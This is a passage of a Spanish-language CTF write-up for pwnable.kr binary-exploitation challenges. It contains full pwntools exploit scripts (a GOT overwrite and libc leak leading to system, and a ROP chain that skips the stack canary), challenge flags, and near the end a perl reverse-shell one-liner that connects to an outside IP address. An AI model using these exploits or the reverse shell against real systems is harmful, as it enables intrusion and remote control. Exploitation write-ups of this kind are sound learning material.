sleep(0.5)

def vuln():
# Overwrite LSB in "prompt" with NULL byte
for _ in range(8):
r.sendlineafter(b">",b"beach")
for _ in range(13):
r.sendlineafter(b">",b"duck")

def overwrite(what, where):
# strlen(prompt) = 32 but prompt is "> " and _len = 2
# write-what-where , what = buffer, where = hijacked _dest
payload = b"\x7f" * 2
payload += what
payload += b"\x7f" * (8 + len(what))
payload += where
sleep(0.5)
r.sendlineafter(b">",payload)

def decode_tty_notation(data):
res = b""
i = 0
while i < len(data):
if data[i:i+2] == b"^?":
res += bytes([0x7f])
i += 2
elif data[i] == ord(b"^") and \
i < len(data)-1 and \
data[i+1] >= 0x40 and \
data[i+1] <= 0x5F:
res += bytes([data[i+1] - 0x40])
i += 2
elif data[i] == ord(b"~") and \
i < len(data)-1 and \
data[i+1] < 0xc0:
res += bytes([data[i+1] + 0x40])
i += 2
else:
res += bytes([data[i]])
i += 1
return res

# Gain infinite oportunities
init(b"id",b"pw")
vuln()
what = p64(elf.sym["main"]).rstrip(b"\x00")
where = p64(elf.got["free"]).rstrip(b"\x00")
overwrite(what, where)
r.info(f"Overwrote free@got.plt with main")
r.sendlineafter(b">",b"/quit")

# Leak libc
init(b"id",b"pw")
vuln()
what = p64(elf.got["strlen"]).rstrip(b"\x00")
where = p64(elf.sym["prompt"]).rstrip(b"\x00")
overwrite(what, where)
r.sendline(b"EGG855")
leak = r.recvuntil(b"EGG855")
leak = leak.rsplit(b"0\x1b[0mx\x1b(B")[3603]
leak = leak.split(b"EGG855")[0]
leak = decode_tty_notation(leak)
leak = u64(leak.ljust(8,b"\x00"))
libc.address = leak - libc.sym["strlen"]
r.info(f"Overwrote prompt with strlen@got.plt")
r.info(f"Libc address: {hex(libc.address)}")
r.sendlineafter(b">",b"/quit")

# Write what where with scanf
init(b"%6$llu-%26$llu", b"sh")
vuln()
what = p64(elf.sym["__isoc99_scanf"]).rstrip(b"\x00")
where = p64(elf.got["free"]).rstrip(b"\x00")
overwrite(what, where)
r.info(f"Overwrote free@got.plt with __isoc99_scanf@plt")
r.sendlineafter(b">",b"/quit")
r.sendline(f"{elf.got['free']}-{libc.sym['system']}".encode())
r.info(f"Overwrote free@got.plt with __libc_system")
r.success("Dropping shell...")
sleep(0.5)
r.interactive()

W4at_a_vuln3raBle_cH4t

crashgen

Aún no…

leakme

1
2
3
4
5
6
Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
PC control

El programa usa glibc-2.23, lo patcheé con un binario de esta version que me encontré en el repositorio de how2heap.

1
2
3
4
5
6
7
8
9
10
11
12
13
undefined8 menu1(void)

{
char *chunk;

puts("give me bytes");
chunk = (char *)malloc(200);
fgets(chunk,150,stdin);
puts("info leak with uninitialized bytes?");
fwrite(chunk,4,1,stdout);
free(chunk);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
undefined8 menu3(void)

{
char *chunk;
long in_FS_OFFSET;
char buf [92];
int i;
long canary;

canary = *(long *)(in_FS_OFFSET + 0x28);
memset(buf,0,100);
puts("you may start stack BOF but...");
puts("no memory leak from now!");
close(1);
close(2);
chunk = (char *)malloc(100);
fgets(chunk,116,stdin);
for (; i < 200; i = i + 1) {
buf[i] = chunk[i];
}
stdin = (FILE *)0xdeadbeef;
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return * /
__stack_chk_fail();
}
return 0;
}

Aqui tenemos un buffer overflow. Escribe 200 bytes a partir de los datos del chunk. Este chunk está justo antes del top chunk. Esta es la tabla de correspondencia de los bytes con respecto al heap:

  • bytes 1-100 chunk.data
  • bytes 101-108 top_chunk.prevsize
  • bytes 109-116 top_chunk.size
  • bytes 117-200 top_chnuk.data

Y esta es la tabla de los bytes con respecto a la disposición del stack frame:

  • bytes 1-92 buf
  • bytes 93-96 i
  • bytes 97-104 padding
  • bytes 105-112 canary
  • bytes 113-120 rbp
  • bytes 121-128 rip

Solo podemos controlar el contenido de los primeros 116 bytes, es decir, podemos escribir hasta rbp parcialmente. Pero no tenemos leaks, por lo que pivotar no parece ser posible. menu2 solo ofrece un leak parcial, los dos bytes más significativos de libc, no suficientes para hacer algo relevante.

No conocemos el valor del canario, sin embargo, dado que sobreescribimos la mismísima variable de conteo, podemos hacer i=119(0x77) (1 menos porque el contador lo aumenta en 1 justo después) y así sobreescribir RIP sin tocar el canario.

Controlar rip es posible, porque hay un comportamiento peculiar en esta versión que provoca que la entrada de fgets quede duplicada y se almacene no solo en el campo data del chunk de destino sino también en el campo data del top chunk:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
───────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdbd8 —▸ 0x400dc3 (main+366) ◂— jmp main+414
01:0008│-030 0x7fffffffdbe0 ◂— 0x1ffffdc0e
02:0010│-028 0x7fffffffdbe8 —▸ 0x603010 ◂— 0xfbad240c
03:0018│-020 0x7fffffffdbf0 —▸ 0x400e00 (__libc_csu_init) ◂— push r15
04:0020│-018 0x7fffffffdbf8 —▸ 0x400940 (_start) ◂— xor ebp, ebp
05:0028│-010 0x7fffffffdc00 —▸ 0x7fffffffdcf0 ◂— 1
06:0030│-008 0x7fffffffdc08 ◂— 0x17f3d537f3eaf600
07:0038│ rbp 0x7fffffffdc10 —▸ 0x400e00 (__libc_csu_init) ◂— push r15
─────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────
► 0 0x400a9f menu1+120
1 0x400dc3 main+366
2 0x7ffff7820840 __libc_start_main+240
3 0x40096a _start+42
───────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x15100 (with flag bits: 0x15101)

Allocated chunk | PREV_INUSE
Addr: 0x618100
Size: 0x410 (with flag bits: 0x411)

Top chunk | PREV_INUSE
Addr: 0x618510
Size: 0xbaf0 (with flag bits: 0xbaf1)

pwndbg> search AAAABBBB
Searching for byte: b'AAAABBBB'
[heap] 0x618110 'AAAABBBB\n'
[heap] 0x618520 'AAAABBBB\n'
Shell

En menu3:

1
2
3
stdin = (FILE *)0xdeadbeef;
close(1);
close(2);

Estado actual:

  • Tenemos control del flujo de ejecución.
  • El descriptor de archivo para stdin está roto.
  • Los descriptores de archivo para stdout y stderr estan cerrados.
  • Tenemos a system en la GOT.
  • No tenemos leaks del heap.
  • Tenemos un leak parcial de libc.
  • El binario no tiene PIE.

Cuando hacemos system("sh") en un programa con los descriptores de archivo en ese estado simplemente no lo para:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

int main() {
// no lo detiene!
stdin = (FILE*)0xdeadbeef;
close(1);
close(2);
system("sh");
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
$ ./a.out
exec 1>/dev/tty && exec 2>/dev/tty
cowsay hey
_____
< hey >
-----
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||

Recordemos que stdin en leakme es un puntero al objeto FILE_plus* en libc llamado _IO_2_1_stdin. Cuando ocurre un fork o clone el proceso hijo hereda los descriptores de archivo (o sea los hereda el descriptor de archivo 0 que apunta a _IO_2_1_stdin y NO a stdin en el padre) y los “locks” de fcntl. Los locks supuestamente son las referencias a un “file description”, cosa que indica si un descriptor de archivo está “abierto” o “cerrado” y que close modifica. La man page de fork dice:

1
2
3
4
5
6
7
8
9
•  The  child  inherits  copies  of the parent's set of open file descriptors.  Each file descriptor in the
child refers to the same open file description (see open(2)) as the corresponding file descriptor in the
parent. This means that the two file descriptors share open file status flags, file offset, and signal-
driven I/O attributes (see the description of F_SETOWN and F_SETSIG in fcntl(2)).

• The child inherits copies of the parent's set of open message queue descriptors (see mq_overview(7)).
Each file descriptor in the child refers to the same open message queue description as the corresponding
file descriptor in the parent. This means that the two file descriptors share the same flags
(mq_flags).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
The child process is an exact duplicate of the parent process except for the following points:

• The child has its own unique process ID, and this PID does not match the ID of any existing process group
(setpgid(2)) or session.

• The child's parent process ID is the same as the parent's process ID.

• The child does not inherit its parent's memory locks (mlock(2), mlockall(2)).

• Process resource utilizations (getrusage(2)) and CPU time counters (times(2)) are reset to zero in the child.

• The child's set of pending signals is initially empty (sigpending(2)).

• The child does not inherit semaphore adjustments from its parent (semop(2)).

• The child does not inherit process-associated record locks from its parent (fcntl(2)). (On the other hand,
it does inherit fcntl(2) open file description locks and flock(2) locks from its parent.)

exec 1>/dev/tty && exec 2>/dev/tty reabre los descriptores stdin y stdout para que apunte directamente a la terminal. /dev/tty es un fichero especial que representa la terminal del proceso actual.

No tenemos la dirección de una cadena “sh” pero en el Dockerfile vemos lo siguiente: RUN apt-get install -y ed

El contenedor posee ed, un editor de texto. Hay una cadena que dice “info leak with uninitialized bytes?”. Bueno, podemos tomar solo una parte y ejecutar system("ed bytes?"). ed spawnea una terminal interactiva, desde la cual podemos invocar una shell escribiendo !/bin/sh. Por ejemplo:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

int main() {
// no lo detiene!
stdin = (FILE*)0xdeadbeef;
close(1);
close(2);
system("ed bytes?");
return 0;
}
1
2
3
4
5
$ ./a.out
!/bin/sh
exec 1>/dev/tty && exec 2>/dev/tty
uname
Linux

Perfecto! Ahora solo hay un problema y es que en remoto exec 1>/dev/tty && exec 2>/dev/tty no funcionará (estamos conectados por un socket, muchas veces no existe un terminal asociado).

En este caso hay que redirigir la salida estándar a otro descriptor de archivo. Una reverse shell es perfecta porque por debajo hace:

1
2
3
4
5
6
socket(AF_INET, ...);
connect(...);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execve("/bin/sh", ...);

Y así consigue redirigir los descriptores de archivo del socket (que heredaron cerrados stdout y stderr del proceso padre) a los descriptores estándar de un nuevo proceso. Aquí no hay un fork.

Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/env python3

from pwn import *
elf = ELF("./leakme_patched")

context.binary = elf
context.terminal = ['tmux', 'splitw', '-hp', '70']
#context.log_level = "debug"

domain= "pwnable.kr"
#domain = "0.0.0.0"
port = 9046

def start():
if args.REMOTE:
return remote(domain, port)
else:
return process([elf.path],stdin=PTY,stdout=PTY,stderr=PTY)
r = start()

#========= exploit here ===================
def menu1(data):
r.sendlineafter(b">",b"1")
r.sendlineafter(b"bytes",data)

def menu2():
r.sendlineafter(b">", b"2")
r.recvuntil(b"read? ")
line = r.recvline().strip()
sum_val = int(line.decode(), 16)
leak = sum_val - 99 * 0x31337
# Leaks dword [rbp-0x14]
r.info("Leak raw 4 bytes: " + hex(leak))
return leak

def menu3(payload):
r.sendlineafter(b">",b"3")
r.sendafter(b"now!",payload)

pop_rdi_ret = 0x0000000000400e63 # : pop rdi ; ret

# Useless
libc_base = menu2() << 8*4
r.info(f"Libc (known): {hex(libc_base)}")

payload = cyclic(120)
# system("ed bytes?")
payload += p64(pop_rdi_ret) + p64(0x00400eb2)
payload += p64(0x400886) # system@plt
payload += p64(elf.sym.exit)

total = b"1\n" + payload + b"\n"
#menu1(payload)

payload = b"A"*92 + b"\x77" + b"\x00"*4

total += b"3\n" + payload + b"\n"
#menu3(payload)

#r.interactive()

print(total)
open("payload","wb").write(total)

# Local
# (cat payload; echo "\!/bin/sh\nexec 1>/dev/tty && exec 2>/dev/tty"; cat flag*) | ./leakme_patched

# Remote (reverse shell with perl and bore)
# https://github.com/ekzhang/bore
# (cat /tmp/paypay; cat) | nc 0 9046
# !perl -e 'use Socket;$i="159.223.171.199";$p=9137;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};

n3veR_St0p_The_infoL3ak

Conclusiones

Esta categoría ya si se me hizo mucho más complicada. La dificultad de los retos aquí (y en las categorías posteriores) es bastante dispareja, lo mismo encuentras algo cuya vulnerabilidad está en el nombre o algo que requiera una buena dosis de determinación y por lo que tengas que pasar días averiguando como rayos explotar eso. He aprendido muchísimo.